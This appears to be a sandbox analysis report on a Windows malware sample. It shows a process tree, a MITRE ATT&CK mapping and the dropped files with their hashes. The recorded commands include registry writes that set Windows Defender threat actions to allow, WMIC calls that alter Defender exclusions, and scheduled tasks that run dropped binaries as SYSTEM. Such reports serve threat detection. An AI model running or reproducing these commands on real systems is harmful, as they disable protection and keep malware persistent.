    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1288
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5196
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5328
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:380
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5484
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1044
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5424
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5432
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5044
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5372
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1388
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4176
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2064
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4092
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3528
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 07:38:40 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\dulscUg.exe\" aV /kDjgdidrh 385118 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:2332
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "yfARWRprRqUFWeTGf"
  2⤵
  PID:5704

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:4804

C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\dulscUg.exe
C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\dulscUg.exe aV /kDjgdidrh 385118 /S
1⤵
PID:4356
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:1740
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:4396
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:5140
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5808
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:1720
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:3668
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1912
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:1420
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:6124
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5948
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:5332
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:4204
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:4364
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:5840
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:5000
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5324
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:4328
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "biPxHmULFllsbMgnpt"
  2⤵
  PID:1720
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:1420
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:948
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:5792
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4728
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:3080
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\zgoZGMcaU\maPDrf.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "JHJXtPPPvDXVqpH" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:4996
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "JHJXtPPPvDXVqpH2" /F /xml "C:\Program Files (x86)\zgoZGMcaU\HgSTQbi.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5328
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "JHJXtPPPvDXVqpH"
  2⤵
  PID:5836
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "JHJXtPPPvDXVqpH"
  2⤵
  PID:6040
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "HtmGfIeJlxktuW" /F /xml "C:\Program Files (x86)\epoBtGYzqLvU2\UPkBUuM.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3456
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "beuYBzgGTLbmn2" /F /xml "C:\ProgramData\pICeQFkDCDDquYVB\lSDHjxz.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3528
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ykYfCTTujiceFdOqI2" /F /xml "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\cjzbmKb.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1676
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "fWcEirOkMoMQjrUKaey2" /F /xml "C:\Program Files (x86)\ecOJmsgAHWlsC\mhaIPMu.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5176
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "yfARWRprRqUFWeTGf"
  2⤵
  PID:3620

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\nlcUipsDcFbdntMB\QGksvtrV\dgegUCm.dll",#1 /pODzdidcWJS 385118
1⤵
PID:5560
- C:\Windows\SysWOW64\rundll32.exe
  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\nlcUipsDcFbdntMB\QGksvtrV\dgegUCm.dll",#1 /pODzdidcWJS 385118
  2⤵
  PID:5164
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "aNyMQclguOCSCcjxm"
    3⤵
    PID:4980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

Path C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
Size 2.0MB
SHA256 4d2b057c7ab9039141adb01cf294653d6daf2a0e5f43736e45a5c36426a4d758
MD5 7e3a8a48b479e31d2533334bd5762c54
SHA1 b6e1ab33456ea968111cbba5a452a65d52fa7489
SHA512 1863140fc1b6308b3b597e6fbd788c670ecbfe89ecb790d0701d86f1ab202c189d8e3c00baa84c029b631bad74e534c50657a5ccb055314b59a0bc2d242b8343
SSDEEP 24576:bcoxRkUE+8kD2EVB17jJs8Sm1ntAkmAgDT2r8V:gV
MD5 SHA1 SHA512 SSDEEP

Submit Download

Are.docx

Path C:\ProgramData\Are.docx
Size 11KB
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
SSDEEP 192:CtNCEE33S7Ok0CMSYbcBVk6tqM16iPBkeawLWdxd7o3Lp:aNwC78uYbcBv6akwLWdxdE3Lp
MD5 SHA1 SHA512 SSDEEP

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
Size 187B
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\es\messages.json
Size 151B
SHA256 b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
MD5 bd6b60b18aee6aaeb83b35c68fb48d88
SHA1 9b977a5fbf606d1104894e025e51ac28b56137c3
SHA512 3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
Size 136B
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
Size 150B
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 f27c5fa390fb58284dbb915622271b9413d3741462d3aad16d1fecd2e1831a85
MD5 6b629ccf1be618f9893ba8d80ea80ff3
SHA1 93c7e4fa9895ccd35ad06d3c20c24c6313e5e242
SHA512 1a743a3203e82ab0937737cf4b902578bb00474f842e109023497dfe648640610eadffa9d749d4dd069a320de117f573d30a6b35af556642e69c0b61386f6521
SSDEEP 96:sg3H/hT+LqLObqXG1W0YA1peZCiROaYwxj/GL2MVQrZu/VcOMEvr04SO5zNOUMei:sne2AvKdiROLHMwSKWjKfVEO9teOg4Y
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 5c67fffe32fdbab64071012f1681c7fe999b735c90a052f6eba373908105e760
MD5 747763f52f53e8c6852f1614e3e835d1
SHA1 98ad9aaa1da4ec002edf0762dbd1e1c8384fe7f9
SHA512 48b09c2b54a146b3a454bbfcd60b3ab9eba555375f7843cdd8290b5bc4c5334a7447f0dd2ffbcfaa578a1338b6fa6ddac61e2829c1503d739d4580da8dec1e7f
SSDEEP 96:sg3H/hT+LqLObqXG1W0YF1peZCiROaYwxj/GL2MVQrZu/VcOMEvr04SO5zNOUMei:sne2AvndiROLHMwSKWjKfVEO9teOg4Y
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 31KB
SHA256 850b5981d27eee1d687ef4b0de3915d299ebb4f3ca373019d75dc3e4ac4072da
MD5 d713f05ce4a8f7e1813fe6b83c36d40d
SHA1 297310b7f4de39dd0bf46c345bbec705a2688d0b
SHA512 b785eb73c1a069255327221b051d5a87203b5edc28aa5caa41f6555f8f43ceae718c497ddfd248a5f1c205d7de5524062da8b20a480cca76f1c102438b8f4be5
SSDEEP 768:oBtOt2kWja7SuLr9gtnA8xP7kxRkrBGop1Ck5m:oBtOoNvp1Cam
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
MD5 1c19c16e21c97ed42d5beabc93391fc5
SHA1 8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA512 7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 19KB
SHA256 ae5fcb7814562d613609b3d053412f2292f27d51d93147b84cd899f88285839f
MD5 41d6a1e5010386d5b13cdd1908cef45e
SHA1 98e0773222605430944340fb2cb09e7a4ea13663
SHA512 f9f3f9d99c2ca460936282786822620707c99ac2ba04b6c2f868c028e1455b8952bf112c0bfcf789110148f228dcc06b9e1412a9a0e1364e162ddb3e6f9aa6cb
SSDEEP 384:a2b+ba77NEngoteIATcTqWaH6P44o01kQ4X7i0EHcfGmn0ltl0eSYFWqL0cN:V6W3Og/PGaa/+lEH4kArYF9YG
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 19KB
SHA256 5582e7900f6594ddeb0986d66135df6573ed335b6ba94f909cafbc10aca58f80
MD5 746a57fbe13abec134c05226e482bbff
SHA1 20a55920bf09c71ce9fe2ec6f5b34906a137c888
SHA512 96b1a2976fe14bfcecfc60b909898d10c5c4343ddae1d942630e1c1f6335a3bf5a172c4b66b6048a2f212cb66b01c6975a193a0037c9eb45501caed0cf2d704e
SSDEEP 384:vA+taWgbWMTSo8ApEAVSfdH6P44o01kw4X7i0EHcf6mj0lUl4eSYFKqL0cp:VMPWmSfCDV+a/elEH4E7rYFJYq
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 15KB
SHA256 89af9b7c682b42709a7327166b0d2e9ddbcc875dc53c89827cbf0fe509d449b8
MD5 fa0acdfbbcb1579c454c86dec2798bf7
SHA1 5e18abb0d1d14b08e6de8771acad1a7e9cc03501
SHA512 f6b7779cb3d89558c2c915d0c6dde4edc6e9210ce1972d341668776645343704e141b22b2186c0091c25bab8bd350b01894d854ba03c3decf075b28254e5e585
SSDEEP 384:F2E3yF8uWAMYseIAuEVHrKxEHvHcf/4T06kVlwBdNJNDS5:0dFBWmlPT2wvH4H9wrnlS5
MD5 SHA1 SHA512 SSDEEP

Submit Download

45ecb4ce

Path C:\Users\Admin\AppData\Local\Temp\45ecb4ce
Size 1.4MB
SHA256 16d964fb83c24ecafa2008c6d7389b1ebe173169ac047c4e7994875618556f92
MD5 326e2dd006ce93f6a75efdf01c0957a7
SHA1 6354a4cf015feb862695bde7318580ba91ce1a81
SHA512 1bc64d0b604cd9ccc28e63806d7ead02d1390953ed0588241fe6fe83ed1eff06b41238e8271e1a7a9db57598149c90fd5ee15ce01b93828f6f7573aee743d00c
SSDEEP 24576:VEK1FhUj59P7RxntlHbmft3/kA1cGn6yyIFFOH4VuVKtBqGLATVlKf:+Qs9dXDHS13/v1cGnqIFdgK/+VlK
MD5 SHA1 SHA512 SSDEEP

Submit Download

AuthHost.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS821C.tmp\AuthHost.exe
Size 154KB
SHA256 6778d42a25b4ab28fa157d9b9eb63dc826c8a6faac650ecb5e33b13954f88db1
MD5 14f675f8506da96c2f1c47c7be5abdaa
SHA1 34f4929d325f4ed7b7d3d318f6b6142f8a5013ae
SHA512 d1f3e24a3f1440421de4b5daf2880e74187ce96aa53eae466b49edcedd2e2d988c2e51c1aeebf6e162ced41b4d727e97f654ded6e71a79363665ea033c2c38f0
SSDEEP 3072:SnNyfCggowa0ae7e2Qnv21RePqrR1tm35hAYlGzooC5eQRh1EF:GNyfCggowtauP30qrRXm3U0oC5Hja
MD5 SHA1 SHA512 SSDEEP

Submit Download

Info.xml

Path C:\Users\Admin\AppData\Local\Temp\7zS821C.tmp\Info.xml
Size 3KB
SHA256 1c4440a8312e16bc682277164cc6710b37fc3dcac5ef9aa0ba7e77fc0c1f4897
MD5 0456be6047774e5d0b8045b787048924
SHA1 76f6445368a4462a50e502bc272a8efc2eb33cb0
SHA512 c0f0cf97e0fd0b258b9a9fa6466dd9e390cd79f3edb0f5b9f10137c241c6b079061135c44c0c30dc71c28f1b7b929c65eb1112761e53cd8400d7e07ce1a7b99c
MD5 SHA1 SHA512

Submit Download

attrib.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS821C.tmp\attrib.exe
Size 40KB
SHA256 0758152947f1a550e52ce8e3f9bcd988a23d36a458ad953795769b11c38ff2ea
MD5 a243bc9db0bfb5f22e146b88bb10c58f
SHA1 a5ff3845b0f55157c4aea35e9eae213560acdb5c
SHA512 58c668e9ab61f3af13e1a5a52930b5c6e281d7d85d1180ca82ccca4268b3d3a93a25e8ed7a1c2d126e88eaf7d3ad38cd051974c9b200c13b5a4584e221ee8161
SSDEEP 384:EEtJXYyRLxeRuWV48xWieYSd6b8SbYtJMeANRLwA2Tf3k3WDtW:LRR9eYY48MieYSd6D0tJpANF2TfUw
MD5 SHA1 SHA512 SSDEEP

Submit Download

bootsect.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS821C.tmp\bootsect.exe
Size 105KB
SHA256 6a4e0396657ace212c955b4c95ddc357be66c2c9968dcd7a909bf4cc32f59841
MD5 68c39a577225aeb6b28ea3558e683c19
SHA1 0504785549d7a3ac936c425b14253f779e580bc3
SHA512 fdb7398aff07be9630be5f8d6e8f415c22fc363fae9f6df816a72c6fbef7b93fe3def26a2f7dbe755a5035fb8efa912022eb80a514f8f04a0a9b25c90e8b557a
SSDEEP 1536:0jzmAqtyFjEIPOhHK6iSlrKcBx5kIc3JGP1nXzMR:kqAqtyFjEkAqclrJdF6UdXgR
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zSF7C.tmp\Install.exe
Size 6.4MB
SHA256 4a86ca84b985a5228eccd13f225bb403e9574e7f64b900a9acc4d32bcb732ff2
MD5 90487eb500021dbcb9443a2cf972a204
SHA1 62ae31665d462c8e5d6632f389b1e94afb9bf00d
SHA512 8cb3b1ae44246bee8bf2b81220d7a5782c4e82b2b871a81bdc9ea170fbe477d7be59c3543554f2cdefde7422bcc88b6624b966dff1603c79d277329fb2074d17
SSDEEP 196608:FL4X13u2HKA5q6G/Ne+XaiFh6cCClKPjj79:FL/As6G0+TGbH
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_w0c42kdx.klm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w0c42kdx.klm.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

injector.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
Size 281KB
SHA256 5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
MD5 d98e33b66343e7c96158444127a117f6
SHA1 bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA512 705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
SSDEEP 3072:qbHszDaOJ8u2HHFIWr6e29kOnK7qFQ8wMii5I7kGvNjzMuszHshoY46bEydJ+dK9:SA3IlIA6e29vngqS8wMmuooh8z+8F
MD5 SHA1 SHA512 SSDEEP

Submit Download

ioloDMLog.txt

Path C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
Size 2KB
SHA256 3470c9761bf79e4af744415f56797afe3263ef83d5ee976a54080ab812c89623
MD5 643618ff8341e9eff160b0f3ecefc910
SHA1 f75e8c78be6db105680b2212f18ac382aa806b3e
SHA512 7b816985942ca5bad889fab0e7796bb604ebbee90e4b6f62f7478eb17739378c9ca5912d04d599889224faf69d9a97828d69dfca3372e17609bc1816e7fd1e7b
MD5 SHA1 SHA512

Submit Download

tmp2D07.tmp

Path C:\Users\Admin\AppData\Local\Temp\tmp2D07.tmp
Size 20KB
SHA256 4d3f3194cb1133437aa69bb880c8cbb55ddf06ff61a88ca6c3f1bbfbfd35d988
MD5 c9ff7748d8fcef4cf84a5501e996a641
SHA1 02867e5010f62f97ebb0cfb32cb3ede9449fe0c9
